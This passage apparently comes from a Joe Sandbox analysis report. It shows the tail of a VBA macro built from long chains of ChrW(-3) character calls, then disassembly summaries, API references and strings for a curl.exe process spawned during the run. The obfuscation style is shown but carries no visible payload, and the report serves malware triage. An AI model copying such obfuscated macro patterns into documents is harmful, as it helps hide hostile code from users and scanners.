3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3)	ChrW
91	. InsertParagraphAfter
93	. InsertAfter Text := ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3)	ChrW
101	. InsertAfter Text := ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + ChrW(- 3) + " " + ChrW(- 3)	ChrW
113	. InsertParagraphAfter
114	End With
115	End Sub

Reset < >

Analysis Process: curl.exePID: 2784, Parent PID: 3916COMMON

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.9%
Total number of Nodes:	1716
Total number of Limit Nodes:	43

Executed Functions

Function 0087D33A Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 129
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(kernel32,?,?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D34B
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,LoadLibraryExA,?,?,?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D363
_mbspbrk.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(security.dll,008B7348,?,?,?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D374
LoadLibraryA.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-1(security.dll,?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D389
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00894EA1,AddDllDirectory,?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D39D
LoadLibraryExA.KERNELBASE(?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D3B6
GetSystemDirectoryA.API-MS-WIN-CORE-SYSINFO-L1-1-0(00000000,00000000,?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D3C1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D3F6
GetSystemDirectoryA.API-MS-WIN-CORE-SYSINFO-L1-1-0(00000000,?,?,?,00894EA1,?,?,0087D2C2), ref: 0087D406
LoadLibraryA.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-1(00894EA1,?,?,00894EA1,?,?,0087D2C2), ref: 0087D461
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00894EA1,?,?,0087D2C2), ref: 0087D478

Strings

security.dll, xrefs: 0087D370, 0087D388, 0087D3AD
AddDllDirectory, xrefs: 0087D395
kernel32, xrefs: 0087D342
LoadLibraryExA, xrefs: 0087D35D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: LibraryLoad$AddressDirectoryProcSystem$HandleModule_mbspbrkfreemalloc
String ID: AddDllDirectory$LoadLibraryExA$kernel32$security.dll
API String ID: 184734234-2138446276
Opcode ID: 300462e2271d37e15cd941186eb382c9bb38604d4aa059d36a90d48bdd6c82c7
Instruction ID: 525683aba53d58ddc1b6ea2debee5dbc17e666a5d97d8a6081282e4542b008a3
Opcode Fuzzy Hash: 300462e2271d37e15cd941186eb382c9bb38604d4aa059d36a90d48bdd6c82c7
Instruction Fuzzy Hash: AC412835A00B11ABCF155F68EC18B6E3FB5FF86B1471882A9E846E7355DB31DD028B90

Function 00871535 Relevance: 13.1, APIs: 3, Strings: 4, Instructions: 886COMMON

Download Yara Rule

APIs

fputc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 008715D6
fputc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00871616

Strings

0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00871563, 00871A5D, 00871AB5
.%ld, xrefs: 0087186D
%ld, xrefs: 00871811
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 00871A58, 00871ABA

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: fputc
String ID: %ld$.%ld$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 1992160199-2365385051
Opcode ID: 021442b085b1777ba2ea7c1d77e5c5064af1f6fcd00bb5465b37fa5a2e315495
Instruction ID: 28ae86bed2e9a81f373714fffd4156e153596a84824dda511bd50eb3f32a1061
Opcode Fuzzy Hash: 021442b085b1777ba2ea7c1d77e5c5064af1f6fcd00bb5465b37fa5a2e315495
Instruction Fuzzy Hash: 2862B2712087418FDB18CF2CD888B2ABBE1FFD5754F248A2EF599C6695CB71C8458B42

Function 0087D8C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,00000000), ref: 0087D90D
WSAGetLastError.WS2_32 ref: 0087D91D

Strings

Recv failure: %s, xrefs: 0087D945

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLastrecv
String ID: Recv failure: %s
API String ID: 2514157807-4276829032
Opcode ID: 2b44958bf51800e41d41a4f593f304823a6d203e9a6a9160d8b9d8772732f8bf
Instruction ID: d1210537aa66a5233554711067c8fd45af809297337a945cb42b5966279a25bc
Opcode Fuzzy Hash: 2b44958bf51800e41d41a4f593f304823a6d203e9a6a9160d8b9d8772732f8bf
Instruction Fuzzy Hash: 8611B171A003089BCB109F28DC45BDA7BF4FF88320F10455DFA19D7295D770D9848B51

Function 00869327 Relevance: 75.9, APIs: 29, Strings: 14, Instructions: 651fileCOMMON

Download Yara Rule

APIs

_close.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,0086D002,?,?,?,?,?,?,?,0086CD94,0086D002,?,?,?), ref: 00869374
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(More details here: https://curl.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentioned abo,00000002,?,?,00000000,0086D002), ref: 008693D4
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 00869449
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 008694A2
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(008B7668,?), ref: 00869775
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 0086978C
_unlink.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000078,?,00000000,0086D002), ref: 008697DA
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000078,?,00000000,0086D002), ref: 00869843
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,0086D002), ref: 0086988B
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 00869927
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 0086993A
_get_osfhandle.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00869943
_lseeki64.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,00000000), ref: 00869952
SetEndOfFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,?,?,?,?,?,00000000,0086D002), ref: 00869968
fseek.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000002,?,?,?,?,?,?,?,00000000,0086D002), ref: 0086997C
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 00869AA7
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00869ABD

Strings

More details here: https://curl.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentioned abo, xrefs: 008693CF
Failed to set filetime %I64d on outfile: CreateFile failed: GetLastError %u, xrefs: 00869A6D
Failed to set filetime %I64d on outfile: SetFileTime failed: GetLastError %u, xrefs: 00869A45
curl: (%d) %s, xrefs: 008693B0
The Retry-After: time would make this command line exceed the maximum allowed time for retries., xrefs: 0086974C
Removing output file: %s, xrefs: 008697CA
Throwing away %I64d bytes, xrefs: 00869913
curl: (23) Failed to truncate file, xrefs: 008699BD
M', xrefs: 0086956B
curl: (23) Failed seeking to end of file, xrefs: 00869991
curl: (%d) The requested URL returned error: %ld, xrefs: 00869416
Problem %s. Will retry in %ld seconds. %ld retries left., xrefs: 008698B3
curl: (%d) Failed writing body, xrefs: 008694BF, 008697A9
Failed to set filetime %I64d on outfile: overflow, xrefs: 0086986F

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _filenofclosefflushfputsfree$File_close_get_osfhandle_lseeki64_strdup_unlinkfseek
String ID: Failed to set filetime %I64d on outfile: CreateFile failed: GetLastError %u$Failed to set filetime %I64d on outfile: SetFileTime failed: GetLastError %u$Failed to set filetime %I64d on outfile: overflow$M'$More details here: https://curl.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentioned abo$Problem %s. Will retry in %ld seconds. %ld retries left.$Removing output file: %s$The Retry-After: time would make this command line exceed the maximum allowed time for retries.$Throwing away %I64d bytes$curl: (%d) %s$curl: (%d) Failed writing body$curl: (%d) The requested URL returned error: %ld$curl: (23) Failed seeking to end of file$curl: (23) Failed to truncate file
API String ID: 968532693-3733868149
Opcode ID: 779d9609ce787ea514aa60098b99a8f8c14d07432e5f38b3de0fc6d7803abede
Instruction ID: b1aea2693c24d36758b7692310e411b19134924549020cd6820e8432032a6ef0
Opcode Fuzzy Hash: 779d9609ce787ea514aa60098b99a8f8c14d07432e5f38b3de0fc6d7803abede
Instruction Fuzzy Hash: 4D32BC70A00305EFDF259FA8D889BAEBBB9FF04300F154169E495E62E2DB75AD40CB51

Function 00861FDC Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 198
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,?,?,?,?,?,0086184E), ref: 00862082
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,00000000,?,?,?,?,?,?,0086184E), ref: 008620CA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,?,?,?,?,?,?,0086184E), ref: 008620DD
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,out of memory,?,?,?,?,?,0086184E), ref: 008620F9
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,0086184E), ref: 0086211F
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,0086184E), ref: 0086212A
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0086216F
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,008B7138,?,?,00000000,?,?,?,?,?,?,0086184E), ref: 0086219C
_close.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,00000000,?,?,?,?,?,?,0086184E), ref: 008621AE
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,008B7138,?,?,00000000,?,?,?,?,?,?,0086184E), ref: 008621BC
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,0086184E), ref: 008621CB
strerror.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,?,?,?,?,0086184E), ref: 008621D3
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,Failed to open the file %s: %s,?,00000000,?,?,?,0086184E), ref: 008621EA
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,0086184E), ref: 008621F6

Strings

out of memory, xrefs: 00862034, 008620EB
0Lu@Ru@/Mu, xrefs: 00862082, 0086211F, 0086212A, 0086216F, 008621CB
Failed to open the file %s: %s, xrefs: 008621DC
%s/%s, xrefs: 0086201E
overflow in filename generation, xrefs: 008620D0
Remote filename has no length!, xrefs: 0086221B

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errno$free$_close_fdopenfopenmallocstrerror
String ID: %s/%s$0Lu@Ru@/Mu$Failed to open the file %s: %s$Remote filename has no length!$out of memory$overflow in filename generation
API String ID: 2640482070-3504489054
Opcode ID: c0fa1f05b20dbc746e478c92beca28cd42b053706f8ca870e8e1d619ccc08d0a
Instruction ID: 126f8fa03d288060457de51006663ce31f6c8429683087eb03476e07c830d998
Opcode Fuzzy Hash: c0fa1f05b20dbc746e478c92beca28cd42b053706f8ca870e8e1d619ccc08d0a
Instruction Fuzzy Hash: DE61F170904B05AFCB109FA8DC459AEBBF8FF4A310F2586A9E551E7391E73599008B62

Function 00892F70 Relevance: 35.0, APIs: 8, Strings: 15, Instructions: 460
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00892FFA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00893075
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00893098
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00893105
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00893147

Part of subcall function 00892B7A: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00892BB8

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00893386
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008933A4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008933BE

Strings

1.1, xrefs: 008931C8
Referer: %s, xrefs: 008930C0
%s , xrefs: 008931FA
Proxy-Connection: Keep-Alive, xrefs: 00893262
upload completely sent off: %I64d out of %I64d bytes, xrefs: 008934F9
1.0, xrefs: 008931CD
User-Agent, xrefs: 00892FD5
%s?%s, xrefs: 0089302C
Accept-Encoding: %s, xrefs: 00893115
Accept-Encoding, xrefs: 008930D8
